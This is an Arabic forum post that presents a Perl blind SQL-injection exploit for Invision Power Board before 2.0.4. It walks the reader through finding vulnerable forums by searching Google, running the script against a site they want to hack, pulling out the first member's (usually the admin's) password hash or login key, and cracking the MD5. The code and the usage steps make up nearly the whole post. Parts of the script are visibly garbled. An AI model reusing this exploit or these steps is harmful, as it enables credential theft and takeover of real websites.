نقاط : 0 تاريخ التسجيل : 01/01/1970
| موضوع: ثغره Invision Power Board 2.0.4 SQL injection 31/10/2011, 7:17 pm | |
| السلام عليكم ورحمة الله وبركاته
اليوم اشرح ثغره موجوده فى منتدايات Invision Power Board 2.0.4 SQL injection
الاول تدخل جوجل وتعمل بحث على المنتدايات اللى بتستخدم الاصدار ده
ادخل [ندعوك للتسجيل في المنتدى أو التعريف بنفسك لمعاينة هذا الرابط] تحدت صفحه البحث بكامل البيانات
كود:
#!/usr/bin/perl ## Invision Power Board SQL injection exploit by RST/GHC ## vulnerable forum versions : 1.* , 2.* (<2.0.4) ## tested on version 1.3 Final and version 2.0.2 ## * work on all mysql versions ## * work with magic_quotes On (use %2527 for bypass magic_quotes_gpc = On) ## (c)oded by 1dt.w0lf ## ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ ~~~~~~~~~~~~~~~~~~~~~~ ## screen: ## ~~~~~~~ ## r57ipb2.pl blah.com /ipb13/ 1 0 ## [~] SERVER : blah.com ## [~] PATH : /ipb13/ ## [~] MEMBER ID : 1 ## [~] TARGET : 0 - IPB 1.* ## [~] SEARCHING PASSWORD ... [ DONE ] ## ## MEMBER ID : 1 ## PASSWORD : 5f4dcc3b5aa765d61d8327deb882cf99 ## ## r57ipb2.pl blah.com /ipb202/ 1 1 ## [~] SERVER : blah.com ## [~] PATH : /ipb202/ ## [~] MEMBER ID : 1 ## [~] TARGET : 1 - IPB 2.* ## [~] SEARCHING PASSWORD ... [ DONE ] ## ## MEMBER ID : 1 ## MEMBER_LOGIN_KEY : f14c54ff6915dfe3827c08f47617219d ## ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ ~~~~~~~~~~~~~~~~~~~~~~ ## Greets: James Bercegay of the GulfTech Security Research Team ## ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ ~~~~~~~~~~~~~~~~~~~~~~ ## Credits: RST/GHC , [ندعوك للتسجيل في المنتدى أو التعريف بنفسك لمعاينة هذا الرابط] , [ندعوك للتسجيل في المنتدى أو التعريف بنفسك لمعاينة هذا الرابط] ## ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ ~~~~~~~~~~~~~~~~~~~~~~ use IO::Socket; if (@ARGV < 4) { &usage; } $server = $ARGV[0]; $path = $ARGV[1]; $member_id = $ARGV[2]; $target = $ARGV[3]; $pass = ($target)?('member_login_key')'password'); $server =~ s!([ندعوك للتسجيل في المنتدى أو التعريف بنفسك لمعاينة هذا الرابط] $request = 'http://'; $request .= $server; $request .= $path; $s_num = 1; $|++; $n = 0; print "[~] SERVER : $server\r\n"; print "[~] PATH : $path\r\n"; print "[~] MEMBER ID : $member_id\r\n"; print "[~] TARGET : $target"; print (($target)?(' - IPB 2.*')' - IPB 1.*')); print "\r\n"; print "[~] SEARCHING PASSWORD ... [|]"; ($cmember_id = $member_id) =~ s/(.)/"%".uc(sprintf("%2.2x",ord($1)))/eg; while(1) { if(&found(47,58)==0) { &found(96,122); } $char = $i; if ($char=="0") { if(length($allchar) > 0){ print qq{bb DONE ] MEMBER ID : $member_id }; print (($target)?('MEMBER_LOGIN_KEY : ')'PASSWORD : ')); print $allchar."\r\n"; } else { print "\b\b FAILED ]"; } exit(); } else { $allchar .= chr($char); } $s_num++; } sub found($$) { my $fmin = $_[0]; my $fmax = $_[1]; if (($fmax-$fmin)<5) { $i=crack($fmin,$fmax); return $i; } $r = int($fmax - ($fmax-$fmin)/2); $check = " BETWEEN $r AND $fmax"; if ( &check($check) ) { &found($r,$fmax); } else { &found($fmin,$r); } } sub crack($$) { my $cmin = $_[0]; my $cmax = $_[1]; $i = $cmin; while ($i<$cmax) { $crcheck = "=$i"; if ( &check($crcheck) ) { return $i; } $i++; } $i = 0; return $i; } sub check($) { $n++; status(); $ccheck = $_[0]; $pass_hash1 = "%36%36%36%2527%20%4F%52%20%28%69%64%3D"; $pass_hash2 = "%20%41%4E%44%20%61%73%63%69%69%28%73%75%62%73%74% 7 2%69%6E%67%28"; $pass_hash3 = $pass.",".$s_num.",1))".$ccheck.") /*"; $pass_hash3 =~ s/(.)/"%".uc(sprintf("%2.2x",ord($1)))/eg; $nmalykh = "%20%EC%E0%EB%FB%F5%20%2D%20%EF%E8%E4%E0%F0%E0%F1% 2 1%20"; $socket = IO::Socket::INET->new( Proto => "tcp", PeerAddr => "$server", PeerPort => "80"); printf $socket ("GET %sindex.php?act=Login&CODE=autologin HTTP/1.0\nHost: %s\nAccept: */*\n****ie: member_id=%s; pass_hash=%s%s%s%s%s\nConnection: close\n\n", $path,$server,$cmember_id,$pass_hash1,$cmember_id, $pass_hash2,$pass_hash3,$nmalykh); while(<$socket>) { if (/Set-****ie: session_id=0;/) { return 1; } } return 0; } sub status() { $status = $n % 5; if($status==0){ print "\b\b/]"; } if($status==1){ print "\b\b-]"; } if($status==2){ print "\b\b\\]"; } if($status==3){ print "\b\b|]"; } } sub usage() { print q( Invision Power Board v < 2.0.4 SQL injection exploit ---------------------------------------------------- USAGE: ~~~~~~ r57ipb2.pl [server] [/folder/] [member_id] [target] [server] - host where IPB installed [/folder/] - folder where IPB installed [member_id] - user id for brute targets: 0 - IPB 1.* 1 - IPB 2.* (Prior To 2.0.4) e.g. r57ipb2.pl 127.0.0.1 /IPB/ 1 1 ---------------------------------------------------- (c)oded by 1dt.w0lf RST/GHC , [ندعوك للتسجيل في المنتدى أو التعريف بنفسك لمعاينة هذا الرابط] , [ندعوك للتسجيل في المنتدى أو التعريف بنفسك لمعاينة هذا الرابط] ); exit(); }
لو انت ويندوز حمل البيرل [ندعوك للتسجيل في المنتدى أو التعريف بنفسك لمعاينة هذا الرابط] وبعد التستيب انسخ الكود ده واحفظفه فى ملف واحفظه name.pl نعتبره مثلا ipb.pl وانقله على ملف البيرل اللى غالبا فى السى وبعدين ادخل على الدوس من start == rum == cmd وبعدين تدخل على فولدر البير عن طريق الانتقال cd.. لرجوع للفولدر الاصلى cd name للانتقال للفولدر للى اسمه name كمثال dir لاستعراش جميع محتوايات الفولدر اللى انت فيه المهم بعد من تدخل على البيرل اكتب الامر ده perl ipb.pl وبعدين تكتب كده perl ipb.pl [ندعوك للتسجيل في المنتدى أو التعريف بنفسك لمعاينة هذا الرابط] /forums 1 1 الجزء الاحمر تكتب مكانه اسم الموقع اللى عايز تخترقه الجزء الازرق تكتب الفولدر اللى فيه المنتدى رقم واحد الاولى لو انت عايز باسورد العضو الاول وهوه غالبا الادمن رقم واحد التانيه ده لو المنتدى 2.0. اما لو المنتدى 1.0. اكتب 0 مكان 1 اوكى وبعدين تلاقى البيرل بيعمل سيرش على الباسورد لو done تلاقى الباسورد مكتوب تقدر تفكه باى برنامج بيفك الشفرات هيبقى الشفره من نوع md5 غير كده يبقى الثفره مغلقه تحياتى
| |
|